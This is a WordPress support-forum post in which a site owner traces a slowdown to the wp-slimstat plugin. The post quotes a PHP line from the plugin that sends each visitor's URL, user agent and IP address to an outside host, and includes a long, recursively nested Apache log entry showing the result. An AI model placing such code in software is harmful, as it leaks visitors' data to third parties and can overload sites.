Slimstat brought down my site :(

Hi, I logged in and saw my site was really slow and narrowed it down to the following offending call in my apache logs. Once I disable slimstat the problem went away. There were 22,320 calls to cloudnet.app in a single day from this!

This is coming from slimstat:

./wp-content/plugins/wp-slimstat/wp-slimstat.php:               $request = "http://wordpress.cloudapp.net/api/update/?&url=".urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"])."&agent=".urlencode($_SERVER["HTTP_USER_AGENT"])."&v=".(isset($_GET['v'])?$_GET['v']:11)."&ip=".urlencode($_SERVER['REMOTE_ADDR'])."&p=9";

The Apache log entry is:

127.0.0.1 - - [09/Nov/2013:06:31:26 +0000] "GET /api/update/?&url=http%3A%2F%2Fwordpress.cloudapp.net%2Fapi%2Fupdate%2F%3F%26url%3Dhttp%253A%252F%252Fwordpress.cloudapp.net%252Fapi%252Fupdate%252F%253F%2526url%253Dhttp%25253A%25252F%25252Fwordpress.cloudapp.net%25252Fapi%25252Fupdate%25252F%25253F%252526url%25253Dhttp%2525253A%2525252F%2525252Fwordpress.cloudapp.net%2525252Fapi%2525252Fupdate%2525252F%2525253F%25252526url%2525253Dhttp%252525253A%252525252F%252525252Fwordpress.cloudapp.net%252525252Fapi%252525252Fupdate%252525252F%252525253F%2525252526url%252525253Dhttp%25252525253A%25252525252F%25252525252Fwordpress.cloudapp.net%25252525252Fapi%25252525252Fupdate%25252525252F%25252525253F%252525252526url%25252525253Dhttp%2525252525253A%2525252525252F%2525252525252Fwordpress.cloudapp.net%2525252525252Fapi%2525252525252Fupdate%2525252525252F%2525252525253F%25252525252526url%2525252525253Dhttp%252525252525253A%252525252525252F%252525252525252Fwordpress.cloudapp.net%252525252525252Fapi%252525252525252Fupdate%252525252525252F%252525252525253F%2525252525252526url%252525252525253Dhttp%25252525252525253A%25252525252525252F%25252525252525252Fwordpress.cloudapp.net%25252525252525252Fapi%25252525252525252Fupdate%25252525252525252F%25252525252525253F%252525252525252526url%25252525252525253Dhttp%2525252525252525253A%2525252525252525252F%2525252525252525252Fkabirnews.com%2525252525252525252Fcategory%2525252525252525252Flaw-and-crime%2525252525252525252F%252525252525252526agent%25252525252525253Dmsnbot-UDiscovery%2525252525252525252F2.0b%25252525252525252B%25252525252525252528%2525252525252525252Bhttp%2525252525252525253A%2525252525252525252F%2525252525252525252Fsearch.msn.com%2525252525252525252Fmsnbot.htm%25252525252525252529%252525252525252526v%25252525252525253D11%252525252525252526ip%25252525252525253D65.55.219.189%252525252525252526p%25252525252525253D9%2525252525252526agent%252525252525253DWordPress%25252525252525252F3.7.1%25252525252525253B%252525252525252Bhttp%25252525252525253A%25252525252525252F%25252525252525252Fkabirnews.com%2525252525252526v%252525252525253D11%2525252525252526ip%252525252525253D127.0.0.1%2525252525252526p%252525252525253D9%25252525252526agent%2525252525253DWordPress%252525252525252F3.7.1%252525252525253B%2525252525252Bhttp%252525252525253A%252525252525252F%252525252525252Fkabirnews.com%25252525252526v%2525252525253D11%25252525252526ip%2525252525253D127.0.0.1%25252525252526p%2525252525253D9%252525252526agent%25252525253DWordPress%2525252525252F3.7.1%2525252525253B%25252525252Bhttp%2525252525253A%2525252525252F%2525252525252Fkabirnews.com%252525252526v%25252525253D11%252525252526ip%25252525253D127.0.0.1%252525252526p%25252525253D9%2525252526agent%252525253DWordPress%25252525252F3.7.1%25252525253B%252525252Bhttp%25252525253A%25252525252F%25252525252Fkabirnews.com%2525252526v%252525253D11%2525252526ip%252525253D127.0.0.1%2525252526p%252525253D9%25252526agent%2525253DWordPress%252525252F3.7.1%252525253B%2525252Bhttp%252525253A%252525252F%252525252Fkabirnews.com%25252526v%2525253D11%25252526ip%2525253D127.0.0.1%25252526p%2525253D9%252526agent%25253DWordPress%2525252F3.7.1%2525253B%25252Bhttp%2525253A%2525252F%2525252Fkabirnews.com%252526v%25253D11%252526ip%25253D127.0.0.1%252526p%25253D9%2526agent%253DWordPress%25252F3.7.1%25253B%252Bhttp%25253A%25252F%25252Fkabirnews.com%2526v%253D11%2526ip%253D127.0.0.1%2526p%253D9%26agent%3DWordPress%252F3.7.1%253B%2Bhttp%253A%252F%252Fkabirnews.com%26v%3D11%26ip%3D127.0.0.1%26p%3D9&agent=WordPress%2F3.7.1%3B+http%3A%2F%2Fkabirnews.com&v=11&ip=127.0.0.1&p=9 HTTP/1.0" 404 10202 "-" "WordPress/3.7.1; http://kabirnews.com"

http://wordpress.org/plugins/wp-slimstat/